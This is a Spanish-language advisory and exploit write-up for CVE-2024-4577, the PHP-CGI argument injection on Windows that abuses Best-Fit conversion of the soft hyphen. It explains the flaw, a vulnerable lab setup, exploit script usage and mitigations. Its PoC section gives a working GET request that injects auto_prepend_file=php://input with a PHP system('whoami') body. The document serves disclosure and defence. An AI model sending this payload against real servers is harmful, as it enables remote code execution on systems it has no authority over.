CVE-2024-4577 - Inyección de Argumentos CGI en PHP en Windows ("WorstFit")

Resumen

CVE-2024-4577 es una vulnerabilidad crítica de ejecución remota de código en la implementación CGI de PHP en Windows. Evita el parche para el CVE-2012-1823 original explotando la conversión de páginas de código "Best-Fit" de Windows para introducir argumentos de línea de comandos a través de la cadena de consulta CGI.

• Puntuación CVSS: 9.8 (Crítica)
• Descubierta por: Orange Tsai (DEVCORE)
• Tipo: Inyección de comandos del sistema operativo / Inyección de argumentos
• Fecha del parche: 6 de junio de 2024

Detalles Técnicos

Cuando PHP se ejecuta como módulo CGI (php-cgi.exe), analiza la cadena de consulta como argumentos de línea de comandos. El parche original para CVE-2012-1823 bloqueaba el carácter - (guion, 0x2D) para prevenir la inyección de argumentos. Sin embargo, en sistemas Windows que usan ciertas páginas de código (por ejemplo, chino, japonés, coreano), la función de mapeo de caracteres "Best-Fit" convierte caracteres Unicode específicos a sus equivalentes ASCII más cercanos.

La evasión clave utiliza el carácter guion suave (0xAD / U+00AD). Cuando una solicitud envía %AD en la cadena de consulta y la configuración regional del servidor usa una página de código "Best-Fit", Windows convierte internamente 0xAD en 0x2D (guion), permitiendo al atacante inyectar argumentos de PHP a pesar del filtro.

Ejemplo: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input se convierte en -d allow_url_include=1 -d auto_prepend_file=php://input.

Versiones Afectadas

• PHP 8.1.* anterior a 8.1.29
• PHP 8.2.* anterior a 8.2.20
• PHP 8.3.* anterior a 8.3.8

Requisitos de configuración:

• PHP ejecutándose como CGI con php-cgi.exe
• Servidor web Apache con mod_cgi o mod_cgid configurado
• Configuración regional de Windows que use una página de código "Best-Fit" (chino, japonés, coreano, etc.)

Configuración del Entorno (XAMPP)

1. Descargue una versión vulnerable de PHP (por ejemplo, 8.1.28) para Windows.
2. Configure XAMPP o Apache con modo CGI:
   root@kitploit:~

   ScriptAlias /php-cgi/ "C:/php/"
   Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
   

3. Verifique el objetivo: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Uso

python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

La carga útil creada inyecta directivas de configuración de PHP a través de la cadena de consulta:

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Mitigación

• Actualice PHP a 8.3.8+, 8.2.20+ o 8.1.29+
• Deshabilite el modo CGI y use PHP-FPM, mod_php o FastCGI en su lugar
• Aplique reglas de reescritura en IIS o Apache para bloquear solicitudes a php-cgi.exe
• Ejecute PHP solo en sistemas con páginas de código que no sean "Best-Fit" (por ejemplo, inglés)

Referencias

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
• https://nvd.nist.gov/vuln/detail/CVE-2024-4577
• https://www.php.net/ChangeLog-8.php
• https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09